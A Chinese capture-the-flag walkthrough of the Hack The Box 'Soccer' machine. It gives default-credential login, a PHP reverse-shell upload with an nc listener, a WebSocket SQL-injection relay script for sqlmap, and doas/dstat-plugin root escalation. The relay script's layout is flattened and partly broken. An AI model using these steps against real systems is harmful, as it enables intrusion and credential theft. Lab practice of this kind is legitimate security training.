HTB打靶:Soccer

admin 2023年5月30日11:59:15评论22 views字数 5354阅读17分50秒阅读模式

HTB打靶:Soccer

免责声明

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

HTB打靶:Soccer  

查看他的IP

HTB打靶:Soccer

Ping一下

HTB打靶:Soccer

成功

常规思路:

第一步:信息收集  第二步:漏洞利用   第三步:拿下权限

1.上nmap

nmap -sC -sV 10.10.11.194

         

常见扫描选项  

nmap选项

含义

-sV

获取服务版本信息

-p or -p-

扫描指定端口或扫描全部端口

-Pn

禁用主机发送,只扫描开放端口

-A

高级模式,启用系统探测、服务版本探测、脚本探测等

-sC

使用默认nmap脚本扫描

-v

详细模式

-sU

UDP端口扫描

-sS

TCP SYN端口扫描

         

使用手册

https://blog.csdn.net/smli_ng/article/details/105964486https://www.freebuf.com/sectool/281769.html

         

HTB打靶:Soccer

开放了22和80端口,nginx 1.18.0 (Ubuntu)

访问时发现转到域名

http://soccer.htb/

需要本地dns解析这个域名

https://blog.csdn.net/zrools/article/details/47414251

HTB打靶:Soccer

echo "10.10.11.194 soccer.htb" >> /etc/hostsCat /etc/hosts 查看一下

HTB打靶:Soccer

访问一下,是个静态页面

HTB打靶:Soccer

好了,继续信息收集

         

扫目录

         

root㉿kali6)-[~]
└─# dirsearch -u http://soccer.htb/(dirb http://soccer.htb/ -r) _|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/soccer.htb/-_23-05-28_19-15-49.txt
Error Log: /root/.dirsearch/logs/errors-23-05-28_19-15-49.log 
Target: http://soccer.htb/     
[19:15:49] Starting:
[19:15:57] 403 - 564B - /.ht_wsr.txt
[19:15:57] 403 - 564B - /.htaccess.bak1
[19:15:57] 403 - 564B - /.htaccess.sample
[19:15:57] 403 - 564B - /.htaccess.orig
[19:15:57] 403 - 564B - /.htaccess.save
[19:15:57] 403 - 564B - /.htaccess_extra
[19:15:57] 403 - 564B - /.htaccess_orig
[19:15:57] 403 - 564B - /.htaccessBAK
[19:15:57] 403 - 564B - /.htaccess_sc
[19:15:57] 403 - 564B - /.htaccessOLD
[19:15:57] 403 - 564B - /.htaccessOLD2
[19:15:57] 403 - 564B - /.html
[19:15:57] 403 - 564B - /.htpasswd_test
[19:15:57] 403 - 564B - /.htm
[19:15:57] 403 - 564B - /.htpasswds
[19:15:57] 403 - 564B - /.httr-oauth
[19:16:17] 403 - 564B - /admin/.htaccess
[19:16:26] 403 - 564B - /administrator/.htaccess
[19:16:29] 403 - 564B - /app/.htaccess
[19:16:50] 200 - 7KB - /index.html
[19:16:53] 200 - 178KB - /tiny     
Task Completed

http://soccer.htb/tiny/

映入眼帘的Tiny File Manager后台登录框 

框架:https://github.com/prasathmani/tinyfilemanager

         

HTB打靶:Soccer

搜一下:

Tiny File Manager默认账号密码

         

HTB打靶:Soccer

账号:admin 密码:admin@123 (成功)
账号:user 密码:12345
都测试一下
账号:admin 密码:admin@123 (成功登入后台)

HTB打靶:Soccer

         

都进后台了,开始找上传点

HTB打靶:Soccer

HTB打靶:Soccer

         

传个马子试试(我感觉这个玩意,时不时把马子搞掉)

         

可直接传

         

         

HTB打靶:Soccer

         

         

右上角的upload上传rev shell

我使用的rev shell:

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

更改ip和port参数

HTB打靶:Soccer

监听1234端口

nc -nvlp 1234

HTB打靶:Soccer

/etc/passwd发现用户player,但是当前没权限访问用户目录下的文件

HTB打靶:Soccer

/etc/nginx$ cat nginx.conf

HTB打靶:Soccer

添加hosts文件访问

HTB打靶:Soccer

HTB打靶:Soccer

查看网页源代码

使用的是WebSockets剩下的有部分参考wp)

https://www.cnblogs.com/pt007/p/11898835.htmlhttps://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

         

因为上面可以传递参数,需要传入的msg是id然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”尝试websocket的sqli注入,转换脚本根据那个网页源代码,修改ws_server和data参数

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/ws"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
        message = unquote(payload).replace('"','''# replacing " with ' to avoid breaking JSON structure        data = '{"id":"%s"}' % message        ws.send(data)        resp = ws.recv() ws.close()
        if resp:                return resp        else:                return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
                                payload = urlparse(self.path).query.split('=',1)[1]                        except IndexError:                                payload = False                                                   if payload:                                content = send_ws(payload)                        else:                                content = 'No parameters specified!'                        self.send_header("Content-type", content_type)                        self.end_headers()                        self.wfile.write(content.encode())                        return        class _TCPServer(TCPServer):                allow_reuse_address = True        httpd = _TCPServer(host_port, CustomHandler)        httpd.serve_forever()print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")try:        middleware_server(('0.0.0.0',8081))except KeyboardInterrupt: pass

                                                  

         

安装模块

         

pip3 install websocket-client

         

python3 so.py 运行脚本开启MiddleWare服务

         

上SQLmap

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs--dump-all:查找并转储找到的所有数据库--exclude-sysdbs:不在默认数据库上跑

HTB打靶:Soccer

         

此时此刻已经通过注入拿到用户名密码,直接连接

(rootkali6)-[~]
└─# ssh player@10.10.11.194

HTB打靶:Soccer

连上了

提权问题,知识面比较窄了

尝试suid文件提权

https://blog.csdn.net/Fly_hps/article/details/80428173

find / -user root -perm -4000 -print 2>/dev/null

HTB打靶:Soccer

有s标志位的文件

HTB打靶:Soccer

这玩意,嗯,查一下去

doas提权

HTB打靶:Soccer

https://sspai.com/post/64843

查找一下doas的配置文件

HTB打靶:Soccer

find / -type f -name doas.conf 2>/dev/null

         

HTB打靶:Soccer

找到了

HTB打靶:Soccer

HTB打靶:Soccer

想摆烂了,摆烂,摆烂

HTB打靶:Soccer(开玩笑,请勿学习)

好方法!

https://blog.csdn.net/michaelwoshi/article/details/117852612

剩下的就开查了,受不了了,头疼!

HTB打靶:Soccer

PS:剩下的纯摆烂,纯百度一下)

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

可以往插件里写入rev shell获得root权限

         

我们移动到这个目录下,创建一个名为dstat_qingyue.py的文件

cd /usr/local/share/dstat/touch dstat_qingyue.pychmod 777 dstat_qingyue.py

HTB打靶:Soccer

写入代码

import subprocess      
subprocess.run(["bash"])

         

然后使用Doas执行Dstat插件

doas /usr/bin/dstat --qingyue

HTB打靶:Soccer

TNND,成功获得root权限

         

HTB打靶:Soccer

HTB打靶:Soccer

         

  HTB打靶:Soccer       

         

使用需知

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

封面图片来源网络,如有侵权联系必删。

安全小白,不喜绕过。

原文始发于微信公众号(猫哥的秋刀鱼回忆录):HTB打靶:Soccer

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日11:59:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB打靶:Soccerhttp://cn-sec.com/archives/1772741.html

发表评论

匿名网友 填写信息